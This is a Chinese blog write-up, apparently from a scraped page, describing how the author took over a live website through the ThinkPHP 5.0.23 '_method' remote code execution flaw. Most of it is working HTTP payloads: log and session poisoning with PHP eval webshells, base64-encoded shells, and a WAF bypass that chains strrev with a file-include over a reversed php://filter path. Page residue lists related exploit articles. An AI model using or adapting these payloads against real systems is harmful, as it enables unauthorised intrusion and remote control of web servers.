0x00 前言

朋友之前给了个站,拿了很久终于拿下,简单记录一下。

0x01 基础信息

  • 漏洞点:tp 5 method 代码执行,payload如下

    1. POST /?s=captcha
    2. _method=__construct&method=get&filter[]=assert&server[]=1&get[]=1
  • 无回显,根据payload 成功判断目标thinkphp 版本应为5.0.23

  • 有waf,waf拦截了以下内容

    1. php标记:
    2. <?php
    3. <?=
    4. <?
    5. php 函数:
    6. base64_decode
    7. file_get_contents
    8. convert_uuencode
    9. 关键字:
    10. php://
  • linux

  • disable_function禁用了以下函数

    1. passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
  • php 7.1.7 (虽然assert 函数不在disable_function中,但已经无法用call_user_func回调调用)

0x02 突破

现在tp 5 method代码执行开发出来的一些思路,不外乎如下两种:

1,写日志,包含日志 getshell 。payload如下:

  1. shell进日志
  2. _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
  3. 通过日志包含getshell
  4. _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();

2,写session,包含session getshell。payload如下:

  1. shellsession
  2. POST /?s=captcha HTTP/1.1
  3. Cookie: PHPSESSID=kking
  4. _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
  5. 包含session getshell
  6. POST /?s=captcha
  7. _method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_kking&server[]=1

而这两种方式在这里都不可用,因为waf对<?php等关键字进行了拦截,还有其他办法吗?

base64编码与php://filter伪协议

倘若能够对关键字进行变形或者编码就好了,比如base64编码:

假如我们的session 文件为/tmp/sess_kking,内容如下

  1. PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+
  2. <?php @eval($_GET['r']);;?>

因为最终的利用是通过inlcude方法进行包含,其实很容易想到可以利用php://filter/read=convert.base64-decode/resource=/tmp/sess_kking的方式进行解码

最终执行类似如下:

  1. include('php://filter/read=convert.base64-decode/resource=/tmp/sess_kking');

但是session里面是会有其他字符的

如何让php://filter正确的解码呢?

p神的谈一谈php://filter的妙用文章有谈到如何巧妙用php://filterbase64编码绕过死亡exit

那么这里也一样,我们只要构造合适的字符,使得我们的webshell能够正确被base64解码即可。

本地测试

第一步,设置session

  1. POST /?s=captcha
  2. _method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1

(注意:这里的+号需要用urlencode编码为%2b,不然会在写入session的时候被urldecode为空格,导致编码解码失败)。

疑问点1:为什么不用PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= (<?php @eval($_GET['r']);?>)而是PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ (<?php @eval($_GET['r']);;?>) 呢,

答:是因为直接使用前者无论怎么拼凑字符,都没法正常解码。

疑问点2:为什么payload 前后会有两个ab

答:是为了让shell payload 的前后两串字符串满足base64解码的长度,使其能正常解码。

第二步,包含,成功执行代码:

本地测试如此,但是在目标测试会发现执行不了,因为我们的payload使用了php://filter的协议包含了php://关键字

怎么让才能让其没有关键字呢?

tp 5 method代码执行的细节

让我们仔细观察代码执行的Request.phpfilterValue方法是如何执行代码的。

我们注意到filter其实是可以传递多个的,同时参数为参数引用。

那么其实我们就可以传递多个filter来对value进行多次传递处理。如先base64_decode后将解码后的值传递给include进行包含。

但在线上这个waf是对base64_decode这个函数进行了过滤的,经过测试发现可以使用strrev反转函数突破。考虑到waf的问题,我们使用的shell payload加多一层base64编码。

同样道理这里的payload为什么要多几个分号就不需要再解释了

回到我们的getshell步骤,在目标上执行

1,设置session

  1. POST /?s=captcha
  2. Cookie: PHPSESSID=kktest
  3. _method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1

(payload前后两个ab同样是为了base64解码凑字符的原因)

2,文件包含

  1. POST /?s=captcha&r=cGhwaW5mbygpOw==
  2. _method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php

最终成功绕过防火墙getshell

0x03 总结

总的来说挺有趣的,也花费了好几个晚上,最终成功getshell也是非常的爽。(好在没放弃:)

记一次有趣的tp5代码执行的更多相关文章

  1. 记一次有趣的thinkphp代码执行

    0x00 前言 朋友之前给了个站,拿了很久终于拿下,简单记录一下. 0x01 基础信息 漏洞点:tp 5 method 代码执行,payload如下 POST /?s=captcha _method= ...

  2. 记一次海洋cms任意代码执行漏洞拿shell(url一句话)

    实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...

  3. PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)

    PHPMailer < 5.2.18 Remote Code Execution 本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经 ...

  4. day02编程语言,Python语言介绍,Python解释器安装,环境变量,Python代码执行,pip,应用程序使用文件的三步骤,变量,变量的三大组成,比较,pycharm

    复习 重点: 1.进制转换:二进制 与十六进制 2.内存分布:栈区 与堆区 # 二进制1111转换十六进制 => 8 4 2 1 => f 10101100111011 => 2a7 ...

  5. [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行

    0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...

  6. Samba远程代码执行漏洞(CVE-2017-7494)复现

    简要记录一下Samba远程代码执行漏洞(CVE-2017-7494)环境搭建和利用的过程,献给那些想自己动手搭建环境的朋友.(虽然已过多时) 快捷通道:Docker ~ Samba远程代码执行漏洞(C ...

  7. Thinkphp V5.X 远程代码执行漏洞 - POC(搬运)

    文章来源:lsh4ck's Blog 原文链接: https://www.77169.com/html/237165.html Thinkphp 5.0.22   http://192.168.1.1 ...

  8. XCTF-ics-05(文件包含+preg_replace函数/e修正符下的代码执行漏洞)

    记一道preg_replace函数/e模式下的代码执行漏洞利用的题. 只有设备维护中心页面可以进入,页面没有什么可点击的,查看源代码,发现这里有个参数. 拼接到url,页面显示index,拼接/etc ...

  9. 漏洞复现:MS12-020 远程桌面协议RDP远程代码执行漏洞

    漏洞复现:MS12-020 远程桌面协议RDP远程代码执行漏洞 攻击机:Kali2019 靶机:Win7 64位 解题步骤: 1.打开Kali2019和Win7 64位 ,确定IP地址是多少 2.确定 ...

随机推荐

  1. 一、jenkins下载及安装

    一.安装 官网地址:https://jenkins.io/zh/ 1.下载war包,放到tomcat——>webapps下,双击bin——>startup.bat启动 2.打开命令提示符. ...

  2. .frm文件怎么导入到数据库

    如题想搞个私服游戏,但是数据库文件按文档的操作方法行不通.只能自行导入. 其实.frm文件就是mysql表结构文件,你拷贝data那一块的文件到你电脑安装的mysql的data文件下就行了. 一.首先 ...

  3. 算法习题---4-9数据挖掘(Uva1591)

    一:题目 这是最懵逼的一道题,什么鬼......... [刷题]算法竞赛入门经典(第2版) 4-9/UVa1591 - Data Mining(详细题目看这个吧,不想多说) 二:代码实现 #defin ...

  4. 封装Email相关的操作

    package com.opslab.util; import javax.activation.DataHandler;import javax.activation.DataSource;impo ...

  5. Python - Django - ORM 常用的字段属性

    字段参数: null:用于表示某个字段可以为空 unique:如果设置为 unique=True,则该字段在此表中必须是唯一的 db_index:如果 db_index=True,则代表着为此字段设置 ...

  6. webpack 4 教程

    webpack 4 教程:https://blog.zfanw.com/webpack-tutorial/

  7. APT攻击与银行

    APT与传统攻击 APT:团队作战,拥有自研工具集,意图明确,技术高超,拥有政府或商业背景,潜伏期多达数年. 传统攻击:脚本小子,水平参差不齐,短期攻击,直接获取利益为目标. 攻击目标 APT攻击链 ...

  8. LeetCode 783. 二叉搜索树结点最小距离(Minimum Distance Between BST Nodes)

    783. 二叉搜索树结点最小距离 LeetCode783. Minimum Distance Between BST Nodes 题目描述 给定一个二叉搜索树的根结点 root, 返回树中任意两节点的 ...

  9. [.Net] - 使用 iTextSharp 生成基于模板的 PDF,生成新文件并保留表单域

    背景 基于 PDF Template 预填充表单项,生成一份新的 PDF 文件,并保留表单域允许继续修改. 代码段 using iTextSharp.text.pdf; /* Code Snippet ...

  10. 稀疏数组(java实现)

    1.稀疏数组 当一个数组中大部分元素为0,或者为同一个值的数组时,可以使用稀疏数组来保存该数组. 稀疏数组的处理方法是: 1.1记录数组一共有几行几列,有多少个不同的值 1.2把具有不同值的元素的行列 ...